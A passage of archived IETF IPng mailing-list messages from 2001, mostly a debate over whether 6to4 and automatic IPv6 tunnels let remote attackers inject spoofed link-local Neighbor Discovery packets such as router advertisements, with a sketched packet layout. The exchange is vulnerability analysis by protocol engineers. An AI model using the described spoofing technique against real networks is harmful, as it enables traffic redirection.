11:37:36 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBJIak000905; Wed, 19 Dec 2001 20:36:46 +0200 Date: Wed, 19 Dec 2001 20:36:46 +0200 (EET) From: Pekka Savola To: cc: Subject: remote netaccess-threats via automatic tunneling Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello folks, There was a draft on "local-link" security threats: http://www.ietf.org/internet-drafts/draft-kempf-ipng-netaccess-threats-00.txt Some of these may apply _remotely_ to nodes which implement automatic tunneling mechanisms (autotunnel, 6to4, ...), too. Problem here is that if the automatic decapsulation is enabled, one can send packets like: === src= dst=<6to4/autotunnel router> protocol=41 src6=fe80::1 dst6=ff02::1 [or link-local unicast, or something] hop limit=255 [<-- NOTE!] [payload] === Note! Tunneling decrements hop limit when encapsulating, so it cannot be trusted. Naturally, this is possible with configured tunnels too, but as there's usually some trust between the two parties, it's not as interesting. With automatic tunneling and friends, there doesn't need to be. Problem here is that it's possible to receive packets to link-local addresses of the pseudo-interface via autotunneling which have hop limit = 255. The latter is bad because several mechanisms including stateless address autoconfiguration partially depend on hop limit as a form of weak authorization. This way, one can send e.g. valid link-local NS/NA/RA/RS packets that will arrive on 6to4/autotunnel pseudo-interface. Luckily enough, these boxes most probably are configured as Routers not Hosts; an exception could be e.g. this combined "6to4 host + router in the same box" scenario. If the node doesn't act as a router, one could then inject e.g. router advertisement messages on the pseudo-interface -- and they would be processed -- from anywhere in the Internet. There might be some nasties for routers too. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 10:41:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJIfBZR017019 for ; Wed, 19 Dec 2001 10:41:11 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJIfAvZ017018 for ipng-dist; Wed, 19 Dec 2001 10:41:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJIf7ZR017008 for ; Wed, 19 Dec 2001 10:41:07 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA07352 for ; Wed, 19 Dec 2001 10:41:09 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA13804 for ; Wed, 19 Dec 2001 11:41:08 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBJIe0I06827; Wed, 19 Dec 2001 19:40:02 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id TAA29508; Wed, 19 Dec 2001 19:40:00 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBJIdxD60117; Wed, 19 Dec 2001 19:40:00 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112191840.fBJIdxD60117@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: haberman@innovationslab.net cc: ipng@sunroof.eng.sun.com Subject: Re: well-known Interface IDs In-reply-to: Your message of Wed, 19 Dec 2001 08:57:54 EST. <3C209CE2.798C6324@innovationslab.net> Date: Wed, 19 Dec 2001 19:39:59 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: draft-ietf-malloc-ipv6-guide-04 Section 4.2 describes this for IPv6 multicast. The same thing could be done for anycast and/or unicast. => this is exactly what I'd like to get with a little difference: IMHO we should not reserve space (other than all zeros) and rely on probability to avoid collisions with RFC 3041 (an alternative is to set the group/7th bit for private/temporary addresses but this seems to be overkilling because the issue already exists with manual IIDs). I believe something like this should be fine: - :: reserved for router subnet anycast - ::1-::FFFF free for manual & lazzy numbering - ::1:1-::1:FFFF for well known services (DNS discovery, etc) - ::2:1-::2:FFFF for local services - ::FDFF:FFFF:FFFF:FF80-::FDFF:FFFF:FFFF:FFFF for anycasts (RFC 2526) Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 11:09:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJJ9OZR018320 for ; Wed, 19 Dec 2001 11:09:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJJ9NAO018319 for ipng-dist; Wed, 19 Dec 2001 11:09:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJJ9KZR018312 for ; Wed, 19 Dec 2001 11:09:20 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA07304 for ; Wed, 19 Dec 2001 11:09:21 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA17857 for ; Wed, 19 Dec 2001 11:09:18 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBJJ8aI11977; Wed, 19 Dec 2001 20:08:36 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id UAA00362; Wed, 19 Dec 2001 20:08:37 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBJJ8aD60307; Wed, 19 Dec 2001 20:08:36 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112191908.fBJJ8aD60307@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Markku Savela cc: ipng@sunroof.eng.sun.com Subject: Re: Clarify NA processing In-reply-to: Your message of Wed, 19 Dec 2001 17:16:57 +0200. <200112191516.RAA31390@burp.tkv.asdf.org> Date: Wed, 19 Dec 2001 20:08:36 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I don't have any "UNKNOWN" R/H state. => this is not a state, this is the bottom semantical value, i.e. the absence of a state. I don't have problem with what to do when transition R->H or H->R happens. The problem is how I detect this transition with certain class of Neigbor advertisements, specifically those that omit target link layer address. Do I process the R bit or not? => if there is a TLL and TLL is forbiden or if there is no TLL and TLL is mandatory then the NA is not valid and the R bit must not be processed. Else the NA is valid and the R bit must be processed. I believe your problem is more with validity checking than with the R bit. In RFC-2461, section 7.2.5, there is quite complex sentence (for me)... .....If the Override flag is clear and the supplied link-layer address differs from that in the cache, then one of two actions takes place: if the state of the entry is REACHABLE, set it to STALE, but do not update the entry in any other way; otherwise, the received advertisement should be ignored and MUST NOT update the cache. => this is a invalidity (sp?) statement. You have the explicit term "ignore". If the Override flag is set, both the Override flag is clear and the supplied link-layer address is the same as that in the cache, or no Target Link-layer address option was supplied, ====================================== the received advertisement MUST update the Neighbor Cache entry as follows: ... So, depending on how you bind the or in ", or no Target", you may get different implementations. => this is about the TLL, in any case the NA is valid and the R bit must be processed. That is, if link layer is using addresses, ignore Neighbor advertisements without TLL totally? => no, ignore them for the link-layer address of the neighbor, NOT for the R bit. Regards Francis.Dupont@enst-bretagne.fr PS: you can try to understand the logic of the whole stuff too, this is a simple state automaton. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 11:22:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJJM1ZR018983 for ; Wed, 19 Dec 2001 11:22:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJJM18j018982 for ipng-dist; Wed, 19 Dec 2001 11:22:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJJLwZR018975; Wed, 19 Dec 2001 11:21:58 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA27787; Wed, 19 Dec 2001 11:21:59 -0800 (PST) Received: from zmamail05.zma.compaq.com (zmamail05.zma.compaq.com [161.114.64.105]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA23075; Wed, 19 Dec 2001 11:21:58 -0800 (PST) Received: by zmamail05.zma.compaq.com (Postfix, from userid 12345) id EC6883927; Wed, 19 Dec 2001 14:21:57 -0500 (EST) Received: from mailrelay01.cac.cpqcorp.net (mailrelay01.cac.cpqcorp.net [16.47.132.152]) by zmamail05.zma.compaq.com (Postfix) with ESMTP id 92ABD386A; Wed, 19 Dec 2001 14:21:57 -0500 (EST) Received: by mailrelay01.cac.cpqcorp.net (Postfix, from userid 12345) id E0E96C68; Wed, 19 Dec 2001 11:21:56 -0800 (PST) Received: from oflume.zk3.dec.com (broflume.zk3.dec.com [16.141.0.42]) by mailrelay01.cac.cpqcorp.net (Postfix) with ESMTP id 42514FD0; Wed, 19 Dec 2001 11:21:56 -0800 (PST) Received: from whitestar.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id OAA0000030045; Wed, 19 Dec 2001 14:21:09 -0500 (EST) Received: from zk3.dec.com by whitestar.zk3.dec.com (8.9.3/1.1.29.3/09Nov01-0546PM) id OAA0000133772; Wed, 19 Dec 2001 14:21:54 -0500 (EST) Message-ID: <3C20E8D2.C481E67F@zk3.dec.com> Date: Wed, 19 Dec 2001 14:21:54 -0500 From: Vladislav Yasevich X-Mailer: Mozilla 4.76 [en] (X11; U; OSF1 V5.1 alpha) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola Cc: ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka I don't think link-local attack can be carried out through automatic tunnels (not to mention that they will fail the address checks). After decapsulation, the packet is submitted for further input processing to look at the innner header. At this point, the source or destination (or both) are link local and the packet must to be forwarded off the link (the link in this case is the tunnel). So in effect you are attacking the decapsulator (a router in most cases). However, if the decapsulator is a multicast router, then you could pottentially attack other hosts on the lan, but not with the link-local threats documented below. -vlad Pekka Savola wrote: > > Hello folks, > > There was a draft on "local-link" security threats: > > http://www.ietf.org/internet-drafts/draft-kempf-ipng-netaccess-threats-00.txt > > Some of these may apply _remotely_ to nodes which implement automatic > tunneling mechanisms (autotunnel, 6to4, ...), too. > > Problem here is that if the automatic decapsulation is enabled, one can > send packets like: > > === > src= > dst=<6to4/autotunnel router> > protocol=41 > > src6=fe80::1 > dst6=ff02::1 [or link-local unicast, or something] > hop limit=255 [<-- NOTE!] > [payload] > === > > Note! Tunneling decrements hop limit when encapsulating, so it cannot be > trusted. > > Naturally, this is possible with configured tunnels too, but as there's > usually some trust between the two parties, it's not as interesting. > With automatic tunneling and friends, there doesn't need to be. > > Problem here is that it's possible to receive packets to link-local > addresses of the pseudo-interface via autotunneling which have hop limit = > 255. > > The latter is bad because several mechanisms including stateless address > autoconfiguration partially depend on hop limit as a form of weak > authorization. > > This way, one can send e.g. valid link-local NS/NA/RA/RS packets that will > arrive on 6to4/autotunnel pseudo-interface. > > Luckily enough, these boxes most probably are configured as Routers not > Hosts; an exception could be e.g. this combined "6to4 host + router in the > same box" scenario. > > If the node doesn't act as a router, one could then inject e.g. router > advertisement messages on the pseudo-interface -- and they would be > processed -- from anywhere in the Internet. > > There might be some nasties for routers too. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -- ++++++++++++++++++++++++++++++++++++++++++++++++++++ Vladislav Yasevich Tel: (603) 884-1079 Compaq Computer Corp. Fax: (435) 514-6884 110 Spit Brook Rd ZK03-3/T07 Nashua, NH 03062 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 11:26:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJJQ3ZR019178 for ; Wed, 19 Dec 2001 11:26:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJJQ3Lc019177 for ipng-dist; Wed, 19 Dec 2001 11:26:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJJQ0ZR019170 for ; Wed, 19 Dec 2001 11:26:00 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA11628 for ; Wed, 19 Dec 2001 11:26:01 -0800 (PST) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA24938 for ; Wed, 19 Dec 2001 11:26:00 -0800 (PST) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id VAA31777; Wed, 19 Dec 2001 21:25:54 +0200 Date: Wed, 19 Dec 2001 21:25:54 +0200 Message-Id: <200112191925.VAA31777@burp.tkv.asdf.org> From: Markku Savela To: Francis.Dupont@enst-bretagne.fr CC: ipng@sunroof.eng.sun.com In-reply-to: <200112191908.fBJJ8aD60307@givry.rennes.enst-bretagne.fr> (message from Francis Dupont on Wed, 19 Dec 2001 20:08:36 +0100) Subject: Re: Clarify NA processing References: <200112191908.fBJJ8aD60307@givry.rennes.enst-bretagne.fr> Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > From: Francis Dupont > => if there is a TLL and TLL is forbiden or if there is no TLL and > TLL is mandatory then the NA is not valid and the R bit must not be > processed. Else the NA is valid and the R bit must be processed. I > believe your problem is more with validity checking than with the R > bit. Ok, but here is the problem: where in RFC-2461 this is stated? My whole problem starts with this, there is no clear wording about this. (Nor there is any mention about mandatory vs. non-mandatory TLL). There is specific section "7.1.2 Validation of Neighbor Advertisements", and this specifies "valid advertisement". There no word about NA being invalid depending on presence of TLL or not. OK, this is all nitpicking, RFC needs just minor addition into 7.1.2: - if link uses addresses, then NA MUST have TLL. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 11:29:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJJTVZR019321 for ; Wed, 19 Dec 2001 11:29:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJJTVeP019320 for ipng-dist; Wed, 19 Dec 2001 11:29:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJJTSZR019313; Wed, 19 Dec 2001 11:29:28 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA12594; Wed, 19 Dec 2001 11:29:29 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA12026; Wed, 19 Dec 2001 12:30:14 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBJJTMw01392; Wed, 19 Dec 2001 21:29:22 +0200 Date: Wed, 19 Dec 2001 21:29:22 +0200 (EET) From: Pekka Savola To: Vladislav Yasevich cc: , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <3C20E8D2.C481E67F@zk3.dec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 19 Dec 2001, Vladislav Yasevich wrote: > I don't think link-local attack can be carried out through automatic tunnels > (not to mention that they will fail the address checks). > > After decapsulation, the packet is submitted for further input processing > to look at the innner header. At this point, the source or destination > (or both) are link local and the packet must to be forwarded off the link > (the link in this case is the tunnel). So in effect you are attacking > the decapsulator (a router in most cases). Are you sure about this? I don't think so. Automatic tunneling is equivalent to configured tunneling. Link-local addresses can be used in manual tunnels. AFAICS, automatic tunneling is not really any different, except that source IPv4 address can be anything at all. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 12:13:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJKDrZR019940 for ; Wed, 19 Dec 2001 12:13:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJKDrhJ019939 for ipng-dist; Wed, 19 Dec 2001 12:13:53 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJKDnZR019929; Wed, 19 Dec 2001 12:13:49 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA21366; Wed, 19 Dec 2001 12:13:51 -0800 (PST) Received: from zcamail05.zca.compaq.com (zcamail05.zca.compaq.com [161.114.32.105]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA11427; Wed, 19 Dec 2001 13:13:32 -0700 (MST) Received: by zcamail05.zca.compaq.com (Postfix, from userid 12345) id 4E0F71FA4; Wed, 19 Dec 2001 12:19:25 -0800 (PST) Received: from mailrelay01.cce.cpqcorp.net (mailrelay01.cce.cpqcorp.net [16.47.68.171]) by zcamail05.zca.compaq.com (Postfix) with ESMTP id 18A791DD2; Wed, 19 Dec 2001 12:19:25 -0800 (PST) Received: by mailrelay01.cce.cpqcorp.net (Postfix, from userid 12345) id 55CF11EC8; Wed, 19 Dec 2001 14:13:49 -0600 (CST) Received: from oflume.zk3.dec.com (broflume.zk3.dec.com [16.141.0.42]) by mailrelay01.cce.cpqcorp.net (Postfix) with ESMTP id E57B5D03; Wed, 19 Dec 2001 14:13:48 -0600 (CST) Received: from whitestar.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id PAA0000009735; Wed, 19 Dec 2001 15:13:02 -0500 (EST) Received: from zk3.dec.com by whitestar.zk3.dec.com (8.9.3/1.1.29.3/09Nov01-0546PM) id PAA0000133929; Wed, 19 Dec 2001 15:13:47 -0500 (EST) Message-ID: <3C20F4FB.8C9E6109@zk3.dec.com> Date: Wed, 19 Dec 2001 15:13:47 -0500 From: Vladislav Yasevich X-Mailer: Mozilla 4.76 [en] (X11; U; OSF1 V5.1 alpha) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola Cc: ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka For autotunnel, see RFC 2893, Section 5.6. Here is an excerpt: > Since automatic tunnels always > encapsulate to the destination (i.e. the IPv4 destination will be > the destination) any packet received over an automatic tunnel SHOULD > NOT be forwarded. Also, addr-arch-v3 states: > Routers must not forward any packets with link-local source or > destination addresses to other links. and > Routers must not forward any multicast packets beyond of the scope > indicated by the scop field in the destination multicast address. -vlad Pekka Savola wrote: > > On Wed, 19 Dec 2001, Vladislav Yasevich wrote: > > I don't think link-local attack can be carried out through automatic tunnels > > (not to mention that they will fail the address checks). > > > > After decapsulation, the packet is submitted for further input processing > > to look at the innner header. At this point, the source or destination > > (or both) are link local and the packet must to be forwarded off the link > > (the link in this case is the tunnel). So in effect you are attacking > > the decapsulator (a router in most cases). > > Are you sure about this? > > I don't think so. > > Automatic tunneling is equivalent to configured tunneling. Link-local > addresses can be used in manual tunnels. AFAICS, automatic tunneling is > not really any different, except that source IPv4 address can be anything > at all. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -- ++++++++++++++++++++++++++++++++++++++++++++++++++++ Vladislav Yasevich Tel: (603) 884-1079 Compaq Computer Corp. Fax: (435) 514-6884 110 Spit Brook Rd ZK03-3/T07 Nashua, NH 03062 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 12:21:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJKLeZR020244 for ; Wed, 19 Dec 2001 12:21:40 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJKLeQ8020243 for ipng-dist; Wed, 19 Dec 2001 12:21:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJKLbZR020235; Wed, 19 Dec 2001 12:21:37 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA03570; Wed, 19 Dec 2001 12:21:38 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA01725; Wed, 19 Dec 2001 12:21:37 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBJKLX501855; Wed, 19 Dec 2001 22:21:33 +0200 Date: Wed, 19 Dec 2001 22:21:33 +0200 (EET) From: Pekka Savola To: Vladislav Yasevich cc: , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <3C20F4FB.8C9E6109@zk3.dec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Vlad, All that is true, but nowhere it is said that decapsulating the packet from IPv4 (or IPv6) should be interpreted as "forwarding". On Wed, 19 Dec 2001, Vladislav Yasevich wrote: > For autotunnel, see RFC 2893, Section 5.6. Here is an excerpt: > > > Since automatic tunnels always > > encapsulate to the destination (i.e. the IPv4 destination will be > > the destination) any packet received over an automatic tunnel SHOULD > > NOT be forwarded. > > Also, addr-arch-v3 states: > > > Routers must not forward any packets with link-local source or > > destination addresses to other links. > > and > > > Routers must not forward any multicast packets beyond of the scope > > indicated by the scop field in the destination multicast address. > > -vlad > > > Pekka Savola wrote: > > > > On Wed, 19 Dec 2001, Vladislav Yasevich wrote: > > > I don't think link-local attack can be carried out through automatic tunnels > > > (not to mention that they will fail the address checks). > > > > > > After decapsulation, the packet is submitted for further input processing > > > to look at the innner header. At this point, the source or destination > > > (or both) are link local and the packet must to be forwarded off the link > > > (the link in this case is the tunnel). So in effect you are attacking > > > the decapsulator (a router in most cases). > > > > Are you sure about this? > > > > I don't think so. > > > > Automatic tunneling is equivalent to configured tunneling. Link-local > > addresses can be used in manual tunnels. AFAICS, automatic tunneling is > > not really any different, except that source IPv4 address can be anything > > at all. > > > > -- > > Pekka Savola "Tell me of difficulties surmounted, > > Netcore Oy not those you stumble over and fall" > > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 13:42:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJLgCZR021035 for ; Wed, 19 Dec 2001 13:42:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJLgCev021034 for ipng-dist; Wed, 19 Dec 2001 13:42:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by 